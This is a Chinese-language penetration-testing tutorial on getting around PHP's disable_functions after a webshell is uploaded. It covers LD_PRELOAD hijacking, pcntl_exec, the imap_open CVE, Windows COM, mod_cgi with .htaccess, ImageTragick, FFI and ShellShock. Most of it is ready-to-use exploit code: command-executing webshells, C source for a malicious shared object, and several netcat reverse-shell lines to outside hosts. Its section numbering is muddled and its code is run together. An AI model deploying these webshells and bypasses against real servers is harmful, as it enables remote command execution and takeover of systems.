為了安全,運維人員會禁用PHP的一些“危險”函數,將其寫在php.ini配置文件中,就是我們所說的disable_functions了。例如:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等
如果在滲透時,上傳了webshell卻因為disable_functions禁用了我們函數,這時候就需要去進行一個繞過。
disable_functions其實是一個黑名單機制,我們可以通過觀察是否存在可利用的漏網之魚,直接通過其實現繞過即可。
繞過方式分類
常規繞過:exec,shell_exec,system,passthru,popen,proc_open利用環境變量LD_PRELOAD繞過(★):mail,imap_mail,error_log,mb_send_mail利用pcntl_exec繞過利用imap_open函數任意命令執行(CVE-2018-19518)利用系統組件window com繞過利用Apache+mod_cgi+.htaccess繞過利用ImageMagick漏洞繞過利用PHP7.4的FFI繞過利用 ShellShock繞過(CVE-2014-6271)蟻劍插件
No.1 常規繞過
exec,shell_exec,system,passthru,popen,proc_open
1. exec
<?phpecho exec('whoami');?>
2. shell_exec
<?phpecho shell_exec('whoami');?>
3. system
<?phpsystem('whoami');?>
4. passthru
<?phppassthru("whoami");?>
5. popen
<?php$command=$_POST['cmd'];$handle = popen($command , "r");while(!feof($handle)) { echo fread($handle, 1024); //fread($handle, 1024); } pclose($handle);?>
6. proc_open
<?php$command="ipconfig"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?>
No.2 利用環境變量LD_PRELOAD繞過
mail,imap_mail,error_log,mb_send_mail
1. mail
1. 前提條件
linux環境putenv()、mail()可用
2. 基本原理
當 disable_functions 禁用了命令執行函數,webshell 無法執行系統命令時,可以通過環境變量 LD_PRELOAD 劫持系統函數,來突破 disable_functions 限制執行操作系統命令
3. 利用步驟
下載bypass_disablefunc.php和bypass_disablefunc_x64.so,並上傳到目標服務器執行命令
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
cmd: 執行的命令outpath: 讀寫權限目錄sopath: so文件的絕對路徑
3. imagemagick+GhostScript
exp
<?phpputenv('LD_PRELOAD=/var/www/html/imag.so');$img = new Imagick('/tmp/1.ps');?>
其中 imag.c文件需要編譯,命令如下
gcc -shared -fPIC imag.c -o imag.so
imag.c代碼
#include <stdlib.h>#include <string.h>void payload() {const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444"; system(cmd);}int fileno() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();}
No.3 利用pcntl_exec繞過
1. 前提條件
PHP安裝並啟用了pcntl插件
2. 基本原理
利用pcntl_exec()這個pcntl插件專有的命令執行函數來執行系統命令,從而繞過disable_functions
3. exp
exp.php
#利用pcntl_exec()執行test.sh<?phpif(function_exists('pcntl_exec')) {pcntl_exec("/bin/bash", array("/tmp/test.sh"));} else { echo 'pcntl extension is not support!';}?>
test.sh
#!/bin/bashnc -e /bin/bash 1.1.1.1 8888 #反彈shell
No.4 利用imap_open函數任意命令執行
1. 前提條件
目標開啟了imap擴展,並支持imap_open()函數
2. 基本原理
PHP 的imap_open函數中的漏洞可能允許經過身份驗證的遠程攻擊者在目標系統上執行任意命令。該漏洞的存在是因為受影響的軟件的imap_open函數在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱。如果啟用了rsh和ssh功能並且rsh命令是ssh命令的符號鏈接,則攻擊者可以通過向目標系統發送包含-oProxyCommand參數的惡意IMAP服務器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能,攻擊者可利用這些功能在目標系統上執行任意shell命令。
3. exp
<?phperror_reporting(0);if (!function_exists('imap_open')) {die("no imap_open function!");}$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";imap_open('{' . $server . ':143/imap}INBOX', '', '');sleep(5);echo file_get_contents("/tmp/cmd_result");?>
No.7 利用系統組件window com繞過
1. 利用條件
Windowsphp5.x支持COM組件
2. 基本原理
COM組件它最早的設計意圖是,跨語言實現程序組件的復用COM組件由以Win 32動態連接庫(DLL)或可執行文件(EXE)形式發布的可執行代碼所組成。遵循COM規范編寫出來的組件將能夠滿足對組件架構的所有要求。COM組件可以給應用程序、操作系統以及其他組件提供服務;自定義的COM組件可以在運行時刻同其他組件連接起來構成某個應用程序;COM組件可以動態的插入或卸出應用。
3. exp
<?php$command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //調用對象方法來執行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();print($stroutput);?>
No.5 利用Apache+mod_cgi+.htaccess繞過
1. 前提條件
啟用mod-cgi允許.htaccess文件.htaccess可寫2. 基本原理
在apache的WEB環境中,我們經常會使用.htaccess這個文件來確定某個目錄下的URL重寫規則,特別是一些開源的CMS或者框架當中經常會用到,比如著名的開源論壇discuz!,就可以通過.htaccess文件實現URL的靜態化,大部分PHP框架,例如ThinkPHP和Laravel,在apache環境下會用.htaccess文件實現路由規則。但是如果.htaccess文件被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模塊,直接繞過PHP的任何限制,來執行系統命令。
3. exp
<?php$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反彈shell$shellfile ="#!/bin/bash\n"; //指定shell$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定這個header,否則會返回500$shellfile .="$cmd";functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter{echo "$text: " . ($condition ?$yes : $no) . "<br>\n";}if(!isset($_GET['checked'])){ @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //執行環境的檢查}else{ $modcgi = in_array('mod_cgi',apache_get_modules()); // 檢測mod_cgi是否開啟 $writable = is_writable('.'); //檢測當前目錄是否可寫 $htaccess = !empty($_SERVER['HTACCESS']);//檢測是否啟用了.htaccess checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No"); checkEnabled("Iswritable",$writable,"Yes","No"); checkEnabled("htaccessworking",$htaccess,"Yes","No"); if(!($modcgi && $writable&& $htaccess)) { echo "Error. All of the above mustbe true for the script to work!"; //必須滿足所有條件 } else {checkEnabled("Backingup.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in.htaccess.bak","Failed!"); //備份一下原有.htaccesscheckEnabled("Write.htaccessfile",file_put_contents('.htaccess',"Options+ExecCGI\nAddHandlercgi-script.dizzle"),"Succeeded!","Failed!");//.dizzle,我們的特定擴展名 checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//寫入文件 checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//給權限 echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //調用 }}?>
No.6 利用ImageMagick漏洞繞過
1.利用條件
Imagick <= 3.3.0PHP >= 5.4
2.基本原理
ImageTragick(CVE-2016-3714)漏洞的利用過程非常簡單,只要將精心構造的圖片上傳至使用漏洞版本的ImageMagick,ImageMagick會自動對其格式進行轉換,轉換過程中就會執行攻擊者插入在圖片中的命令。因此很多具有頭像上傳、圖片轉換、圖片編輯等具備圖片上傳功能的網站都可能會中招。
3.exp
<?phpecho "Disable Functions: " . ini_get('disable_functions') . "\n";$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];if ($command == '') {$command = 'id';}$exploit = <<<EOFpush graphic-contextviewbox 0 0 640 480fill 'url(https://example.com/image.jpg"|$command")'pop graphic-contextEOF;file_put_contents("KKKK.mvg", $exploit);$thumb = new Imagick();$thumb->readImage('KKKK.mvg');$thumb->writeImage('KKKK.png');$thumb->clear();$thumb->destroy();unlink("KKKK.mvg");unlink("KKKK.png");?>
No.7 利用ImageMagick漏洞繞過
1.利用條件
php 7.4ffi.enable=true
2.基本原理
FFI(Foreign Function Interface),即外部函數接口,允許從用戶區調用C代碼。當PHP所有的命令執行函數被禁用后,通過PHP 7.4的新特性FFI可以實現用PHP代碼調用C代碼的方式,先聲明C中的命令執行函數,然后再通過FFI變量調用該C函數即可Bypass disable_functions。
3.exp
<?php// create FFI object, loading libc and exporting function printf()$ffi = FFI::cdef("int system(char *command);", // this is a regular C declaration "libc.so.6");// call C's printf()$a='nc -e /usr/bin/zsh 127.0.0.1 8888';$ffi->system($a);?>
No.8 利用 ShellShock繞過
1. 前提條件
目標OS存在Bash破殼(CVE-2014-6271)漏洞PHP 5.*linuxputenv()、mail()可用
2. 基本原理
一般函數體內的代碼不會被執行,但破殼漏洞會錯誤的將"{}"花括號外的命令進行執行php里的某些函數(例如:mail()、imap_mail())能調用popen或其他能夠派生bash子進程的函數,可以通過這些函數來觸發破殼漏洞(CVE-2014-6271)執行命令。
3. exp
<?phpfunction shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("a@127.0.0.1","","","","-bv"); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln.";}echo shellshock($_REQUEST["cmd"]);?>
No.9 蟻劍插件市場
蟻劍插件市場也有一些繞過插件
01利用LD_PRELOAD環境變量02利用ShellShock(CVE-2014-6271)03利用Apache Mod CGI04 PHP-FPM利用LD_PRELOAD環境變量(同1)05攻擊PHP-FPM監聽端口06 Json Serializer UAF07具有特定析構函數UAF的PHP7 GC